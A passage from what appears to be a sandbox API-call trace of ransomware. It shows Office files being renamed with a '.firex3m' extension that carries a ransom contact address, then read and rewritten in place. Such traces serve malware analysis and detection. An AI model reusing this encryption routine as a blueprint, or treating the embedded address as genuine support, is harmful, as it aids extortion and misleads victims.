nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9978*, lpNumberOfBytesWritten=0x5fbff0c*=0xc0, lpOverlapped=0x0) returned 1 [0185.422] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.422] WriteFile (in: hFile=0x674, lpBuffer=0x6fa9a37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9a37*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.422] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.422] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.422] CloseHandle (hObject=0x674) returned 1 [0185.422] GetProcessHeap () returned 0x630000 [0185.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa9978 | out: hHeap=0x630000) returned 1 [0185.422] GetProcessHeap () returned 0x630000 [0185.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa9b58 | out: hHeap=0x630000) returned 1 [0185.422] GetProcessHeap () returned 0x630000 [0185.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0185.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3478494a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x5fbfd20, dwReserved1=0x6fa9b58, cFileName="SETLANG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~3.FIR")) returned 0x6d5340 [0185.422] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0185.423] Sleep (dwMilliseconds=0x1) [0185.433] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC", len=0x44 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC") returned 1 [0185.433] GetProcessHeap () returned 0x630000 [0185.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29ec) returned 0x707d3d0 [0185.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.434] CloseHandle (hObject=0x674) returned 1 [0185.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0185.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0185.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~4.FIR")) returned 0x6d5280 [0185.435] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0185.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.435] GetProcessHeap () returned 0x630000 [0185.435] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746b3c8 [0185.435] GetProcessHeap () returned 0x630000 [0185.435] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746b690 [0185.435] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.435] ReadFile (in: hFile=0x674, lpBuffer=0x746b3c8, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x746b3c8*, lpNumberOfBytesRead=0x5fbff0c*=0x280, lpOverlapped=0x0) returned 1 [0185.439] GetProcessHeap () returned 0x630000 [0185.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0185.439] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.439] WriteFile (in: hFile=0x674, lpBuffer=0x746b690*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x746b690*, lpNumberOfBytesWritten=0x5fbff0c*=0x280, lpOverlapped=0x0) returned 1 [0185.439] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.440] WriteFile (in: hFile=0x674, lpBuffer=0x746b90f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x746b90f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.440] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.440] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.440] CloseHandle (hObject=0x674) returned 1 [0185.440] GetProcessHeap () returned 0x630000 [0185.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746b690 | out: hHeap=0x630000) returned 1 [0185.440] GetProcessHeap () returned 0x630000 [0185.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746b3c8 | out: hHeap=0x630000) returned 1 [0185.440] GetProcessHeap () returned 0x630000 [0185.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0185.440] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x347aaa76, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x5fbfd20, dwReserved1=0x746b3c8, cFileName="SETLANG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETLAN~4.FIR")) returned 0x6d5280 [0185.440] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0185.440] Sleep (dwMilliseconds=0x1) [0185.448] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS", len=0x40 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS") returned 1 [0185.448] GetProcessHeap () returned 0x630000 [0185.448] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29e8) returned 0x707d3d0 [0185.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.449] CloseHandle (hObject=0x674) returned 1 [0185.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0185.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0185.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SE1DBC~1.FIR")) returned 0x6d4f80 [0185.450] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0185.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0185.451] GetProcessHeap () returned 0x630000 [0185.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7098e48 [0185.451] GetProcessHeap () returned 0x630000 [0185.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0185.452] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.452] ReadFile (in: hFile=0x674, lpBuffer=0x7098e48, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7098e48*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0192.912] GetProcessHeap () returned 0x630000 [0192.912] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0192.912] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.912] WriteFile (in: hFile=0x674, lpBuffer=0x7247db0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.185] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.185] WriteFile (in: hFile=0x674, lpBuffer=0x72531af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531af*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.163] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.163] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.163] CloseHandle (hObject=0x674) returned 1 [0195.307] GetProcessHeap () returned 0x630000 [0195.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0195.307] GetProcessHeap () returned 0x630000 [0195.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7098e48 | out: hHeap=0x630000) returned 1 [0195.310] GetProcessHeap () returned 0x630000 [0195.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0196.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a45bc89, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20e40, dwReserved0=0xad47496, dwReserved1=0x7098e40, cFileName="SETLANG.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SE1DBC~1.FIR")) returned 0x6d4ec0 [0196.303] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0196.303] Sleep (dwMilliseconds=0x1) [0196.315] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", len=0x3e | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT") returned 1 [0196.315] GetProcessHeap () returned 0x630000 [0196.315] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47b4) returned 0x7133a90 [0196.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0196.433] CloseHandle (hObject=0x5e4) returned 1 [0196.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR6XL~1.FIR")) returned 0x6d53c0 [0196.996] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0196.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0196.997] GetProcessHeap () returned 0x630000 [0196.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7221) returned 0x7307c08 [0196.997] GetProcessHeap () returned 0x630000 [0196.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7221) returned 0x730ee38 [0196.997] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.997] ReadFile (in: hFile=0x5e4, lpBuffer=0x7307c08, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7307c08*, lpNumberOfBytesRead=0x5fbff0c*=0x7200, lpOverlapped=0x0) returned 1 [0201.337] GetProcessHeap () returned 0x630000 [0201.337] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0201.337] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x5e4, lpBuffer=0x730ee38*, nNumberOfBytesToWrite=0x7200, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ee38*, lpNumberOfBytesWritten=0x5fbff0c*=0x7200, lpOverlapped=0x0) returned 1 [0201.337] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.337] WriteFile (in: hFile=0x5e4, lpBuffer=0x7316037*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316037*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.337] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.338] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.338] CloseHandle (hObject=0x5e4) returned 1 [0201.338] GetProcessHeap () returned 0x630000 [0201.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ee38 | out: hHeap=0x630000) returned 1 [0201.338] GetProcessHeap () returned 0x630000 [0201.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7307c08 | out: hHeap=0x630000) returned 1 [0201.338] GetProcessHeap () returned 0x630000 [0201.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0201.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3df3a104, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7224, dwReserved0=0xad47496, dwReserved1=0x7307c00, cFileName="ADR6.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR6XL~1.FIR")) returned 0x6d5280 [0201.338] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.338] Sleep (dwMilliseconds=0x1) [0202.974] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl", len=0x78 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl") returned 1 [0202.975] GetProcessHeap () returned 0x630000 [0202.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4be8) returned 0x7133a90 [0202.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0203.086] CloseHandle (hObject=0x710) returned 1 [0203.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.181] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cd79fe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="as90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS90XS~1.FIR")) returned 0x6d4f40 [0203.182] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0203.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 